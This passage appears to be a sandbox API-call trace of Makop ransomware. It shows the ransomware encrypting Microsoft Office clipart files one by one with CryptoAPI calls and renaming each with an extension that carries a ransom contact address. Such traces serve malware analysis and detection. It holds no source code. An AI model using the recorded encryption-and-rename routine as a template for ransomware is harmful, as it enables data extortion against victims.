[0143.738] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0143.738] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0143.738] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.738] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.738] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.738] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.739] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x984, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x984, lpOverlapped=0x0) returned 1 [0143.739] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x990, dwBufLen=0x990 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x990) returned 1 [0143.739] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.739] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x990, lpOverlapped=0x0) returned 1 [0143.739] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.739] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.739] SetEndOfFile (hFile=0xf0) returned 1 [0143.747] GetProcessHeap () returned 0x48a0000 [0143.747] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0143.748] GetProcessHeap () returned 0x48a0000 [0143.748] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0143.748] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0143.748] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0143.750] CloseHandle (hObject=0xf0) returned 1 [0143.751] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5efa1c00, ftCreationTime.dwHighDateTime=0x1bf1118, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5efa1c00, ftLastWriteTime.dwHighDateTime=0x1bf1118, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE01172_.WMF", cAlternateFileName="")) returned 1 [0143.752] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF") returned 63 [0143.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0143.753] GetProcessHeap () returned 0x48a0000 [0143.753] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0143.753] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0143.753] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0143.753] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.757] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.757] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.757] GetProcessHeap () returned 0x48a0000 [0143.758] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0143.758] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0143.758] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.758] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0143.758] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.758] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0143.758] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0143.758] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0143.759] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.759] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.759] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.759] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.759] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x59c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x59c, lpOverlapped=0x0) returned 1 [0143.759] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5a0, dwBufLen=0x5a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5a0) returned 1 [0143.759] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.759] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5a0, lpOverlapped=0x0) returned 1 [0143.760] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.760] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.760] SetEndOfFile (hFile=0xf0) returned 1 [0143.767] GetProcessHeap () returned 0x48a0000 [0143.767] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0143.767] GetProcessHeap () returned 0x48a0000 [0143.768] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0143.768] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0143.768] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0143.769] CloseHandle (hObject=0xf0) returned 1 [0143.770] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb58e6600, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb58e6600, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x3f9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE01191_.WMF", cAlternateFileName="")) returned 1 [0143.770] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF") returned 63 [0143.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0143.775] GetProcessHeap () returned 0x48a0000 [0143.775] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0143.775] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0143.775] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0143.775] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.781] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.781] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.781] GetProcessHeap () returned 0x48a0000 [0143.781] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0143.781] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0143.781] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.781] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0143.782] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.782] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0143.782] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0143.782] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0143.783] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.783] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.783] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.783] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.783] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3f9c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3f9c, lpOverlapped=0x0) returned 1 [0143.785] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3fa0, dwBufLen=0x3fa0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3fa0) returned 1 [0143.785] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.785] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3fa0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3fa0, lpOverlapped=0x0) returned 1 [0143.786] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.786] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.786] SetEndOfFile (hFile=0xf0) returned 1 [0143.792] GetProcessHeap () returned 0x48a0000 [0143.793] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0143.793] GetProcessHeap () returned 0x48a0000 [0143.793] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0143.793] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0143.793] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0143.795] CloseHandle (hObject=0xf0) returned 1 [0143.795] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5e9600, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea5e9600, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x1418, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE01661_.WMF", cAlternateFileName="")) returned 1 [0143.795] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF") returned 63 [0143.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0143.796] GetProcessHeap () returned 0x48a0000 [0143.796] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0143.796] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0143.796] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0143.796] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.802] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.802] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.802] GetProcessHeap () returned 0x48a0000 [0143.802] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0143.802] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0143.802] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.802] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0143.802] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.802] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0143.802] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0143.803] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0143.803] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.803] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.803] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.803] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.803] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1418, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1418, lpOverlapped=0x0) returned 1 [0143.805] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1420, dwBufLen=0x1420 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1420) returned 1 [0143.805] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.805] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1420, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1420, lpOverlapped=0x0) returned 1 [0143.805] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.805] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x14f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.805] SetEndOfFile (hFile=0xf0) returned 1 [0143.812] GetProcessHeap () returned 0x48a0000 [0143.813] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0143.813] GetProcessHeap () returned 0x48a0000 [0143.813] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0143.813] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0143.813] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0143.815] CloseHandle (hObject=0xf0) returned 1 [0143.815] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE01797_.WMF", cAlternateFileName="")) returned 1 [0143.815] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF") returned 63 [0143.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0143.816] GetProcessHeap () returned 0x48a0000 [0143.816] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0143.816] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0143.816] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0143.817] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0143.821] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.821] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.821] GetProcessHeap () returned 0x48a0000 [0143.821] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0143.821] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0143.821] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.821] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, 